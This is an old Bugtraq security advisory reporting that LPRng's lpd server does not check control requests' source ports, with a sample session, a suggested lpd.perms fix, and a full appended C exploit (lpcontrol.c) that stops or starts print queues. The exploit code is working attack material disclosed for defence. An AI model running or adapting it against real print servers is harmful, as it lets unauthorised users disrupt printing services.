Subject:      Security problem with LPRng
To: BUGTRAQ@netspace.org 


Hi all,


During some recent work I've been doing with LPRng, I found that is is
possible (on a default LPRng installation) to control the print queues on
the LPRng server.


Most default installations allow the root user at the localhost to send
control commands to the LPRng lpd server.  The authentication used is to
make sure that the packets are sent from a low (priviledged) source port
(RFC1179 specifies ports 721-731, although the LPRng howto specifies that
this has been extended to 512-1023).  This is why the lpc utility is usually
installed SUID root.


However, it appears that LPRng's lpd server fails to check the source port
correctly, so using a modified client that uses ports outside the allowed 
range the server will accept the command.


An exploit that uses this technique to stop or start a print queue is appended 
to this advisory.  It was written and tested on Debian GNU/Linux.  It is used 
in the following way:


host:~$ /usr/sbin/lpc status
 Printer           Printing Spooling Jobs  Server   Slave Redirect Status/Debug
lp@host             enabled  enabled    0    none    none
host:~$ gcc lpcontrol.c 
host:~$ ./a.out
Usage: ./a.out printer [stop|start]
host:~$ ./a.out lp stop
host:~$ /usr/sbin/lpc status
 Printer           Printing Spooling Jobs  Server   Slave Redirect Status/Debug
lp@host            disabled  enabled    0    none    none
host:~$



The author (papowell@astart.com) has been notified, but the problem has not
been fully acknowledged.  Aside from a lot of random (and generally useless) 
commentry regarding the insecurity of LPRng, NFS, SUID root programs, etc, the 
only usefull suggestion was to add


REJECT=X NOT PORT=1-1023


to the lpd.perms control file.


One thing that he did mention is quoted below:


>       You don't consider SETUID ROOT programs such as a particular
>       implementation of lpq that has a stack overflow problem when
>       you return long status to be a problem...


I haven't looked for stack overflows in detail yet, but this is a little
conserning since the default is to install lpq, lpc, etc SUID root.  While
I hope to have a good look into it, the code is extremely difficult to follow.



Have a nice day all,


Chris Leishman




---- start lpcontrol.c ----------------------------------------------
/* Exploit for lprng's source port check failure.
 * Written and tested on Debian GNU/Linux
 *
 * Chris Leishman <masklin@debian.org>
 */



#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>



#define SRC_PORT 2056
#define HOST "127.0.0.1"
#define DST_PORT 515



int main(int argc, char **argv)
{
        int sock;
        struct sockaddr_in dest_sin;
        struct sockaddr_in src_sin;
        struct hostent *hp;
        unsigned long ipnum;
        char line[256];
        int mode = 0;


        if (argc < 2)
        {
                fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
                exit(EXIT_FAILURE);
        }


        if (argc >= 3)
        {
                if (!strcmp(argv[2], "start"))
                        mode = 1;
                else if (strcmp(argv[2], "stop"))
                {
                        fprintf(stderr, "Invalid mode.  Use stop or start.\n");
                        fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
                        exit(EXIT_FAILURE);
                }
        }
                
        snprintf(line, sizeof(line), "%c%s root %s %s\n", 
                 6, argv[1], (mode)? "start":"stop", argv[1]);


        memset(&dest_sin, 0, sizeof(struct sockaddr_in));
        dest_sin.sin_port = htons((short) DST_PORT);


        ipnum = (unsigned long) inet_addr(HOST);
        if (ipnum != ((unsigned long) INADDR_NONE))
        {
                dest_sin.sin_family = AF_INET;
                dest_sin.sin_addr.s_addr = ipnum;
        }
        else
        {
                if ((hp = gethostbyname(HOST)) == NULL)
                {
                        fprintf(stderr, "Host lookup failed.\n");
                        exit(EXIT_FAILURE);
                }


                dest_sin.sin_family = hp->h_addrtype;
                memcpy(&dest_sin.sin_addr.s_addr,hp->h_addr_list[0],
                   (size_t)hp->h_length);
        }


        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                perror("Socket call failed");
                exit(EXIT_FAILURE);
        }


        src_sin.sin_family = AF_INET;
        src_sin.sin_addr.s_addr = INADDR_ANY;
        src_sin.sin_port = htons((u_short) SRC_PORT);


        if ((bind(sock, (struct sockaddr *)&src_sin, sizeof(src_sin))) < 0)
        {
                perror("Bind failed");
                exit(EXIT_FAILURE);
        }


        if (connect(sock, (struct sockaddr *)&dest_sin, sizeof(dest_sin)) < 0)
        {
                close(sock);
                perror("Connect failed");
                exit(EXIT_FAILURE);
        }


        if (write(sock, line, strlen(line)) <= 0)
        {
                perror("Write failed");
                exit(EXIT_FAILURE);
        }


        close(sock);


        return EXIT_SUCCESS;
}


---- stop lpcontrol.c -----------------------------------------------



-- 
----------------------------------------------------------------------
       As a computer, I find your faith in technology amusing.
----------------------------------------------------------------------
Reply with subject 'request key' for PGP public key.  KeyID 0xA9E087D5


 Security problem with LPRng